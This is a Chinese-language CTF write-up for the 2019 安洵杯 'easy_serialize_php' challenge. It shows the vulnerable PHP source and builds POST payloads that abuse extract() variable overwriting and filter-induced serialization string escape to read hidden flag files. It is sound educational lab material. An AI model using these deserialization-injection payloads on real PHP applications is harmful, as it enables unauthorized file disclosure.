[安洵杯 2019]easy_serialize_php1--writeup

查看源码:

<?php
 
$function = @$_GET['f'];//GET方式传值
 
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');//创建数组
    $filter = '/'.implode('|',$filter_arr).'/i';//implode函数将数组中的值以‘|’分隔。
    return preg_replace($filter,'',$img);//将传入的字符串中有的数组中的值以空替换
}//整个函数相当于做了一个处理,将传入字符串中的php|flag|php4|php5|php4|fl1g全替换为空。
 
 
if($_SESSION){
    unset($_SESSION);
}//先将$_SESSION销毁
 
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;//传入的参数值
 
extract($_POST);//把数组转为变量,该函数使用数组键名作为变量名,使用数组键值作为变量值,存在变量覆盖漏洞
 
if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}//如果没有任何传值,就显示这个,即刚打开环境的时候
 
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}//如果没有img_path传入就将guest_img.png base64编码传给img;相反将传入的img_path base64编码再哈希编码传给img。
 
$serialize_info = filter(serialize($_SESSION));//序列化$_SESSION,过滤后,赋值给$serialize_info
 
if($function == 'highlight_file'){
    highlight_file('index.php');//现在显示的页面。
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);//反序列化
    echo file_get_contents(base64_decode($userinfo['img']));//img base64编码再高亮输出
}
 
?>

① 

eval('phpinfo();'); //maybe you can find something in here!

$function == 'phpinfo'

$function = @$_GET['f'];

 index.php?f=phpinfo

 得到d0g3_f1ag.php 开始读取,却无法直接访问

看源码得:base64_decode($userinfo[‘img’])=d0g3_f1ag.php

$userinfo[‘img’]=ZDBnM19mMWFnLnBocA==

$userinfo  <-- $serialize_info <--session   序列化 再反序列化之后才得到userinfo

因为extract($_POST)在赋值的后面,也就是说这两个值($_SESSION["user"],$_SESSION["user"])是可以控制的,也就是可以给它们重新赋值。

首先,d0g3_f1ag.php的base64编码是ZDBnM19mMWFnLnBocA==,将其赋值给 
 $_SESSION['img'],再序列化后得到:a:1:{s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";},我们要想办法让红色的这段去代替原本“$_SESSION['img'] = base64_encode('guest_img.png');”序列化的值s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==" ,所以就要GET传值将其赋给$_SESSION['function'],提前闭合使后面原本的$_SESSION['img']无效

$_SESSION['function'] = 'a:1:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';

再将$_SESSION序列化,就得到: 

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:46:"a:1:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

但是由于蓝色部分有错误 ,所以我们可以利用将user的值guest 改成过滤的值 从而变成空值,将后面  ";s:8:"function";s:46:"a:1:{   这段当成user的值,那么长度就是28  所以可以构造成

$_SESSION["user"]='flagflagflagflagflagflagflag';
 
$_SESSION['function'] = 'a:1:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';

但是a:3 会出问题,那么我们就可以随便加上一个变量凑成3 

$_SESSION['user'] = 'flagflagflagflagflagflagflag';
$_SESSION['function'] = 'a:2:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"zzz";s:7:"coconut";}';

 最后一步就是传值

GET:f=show_image

POST:_SESSION[user]=flagflagflagflagflagflagflag&_SESSION[function]=a:2:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"zzz";s:7:"coconut";}

得出了另一个位置,然后那么再读取/d0g3_fllllllag;

/d0g3_fllllllag的base64编码为:

L2QwZzNfZmxsbGxsbGFn

 最后构造:

GET:f=show_image

POST:_SESSION[user]=flagflagflagflagflagflagflag&_SESSION[function]=a:2:{";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:3:"zzz";s:7:"coconut";}  
 

 flag:

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值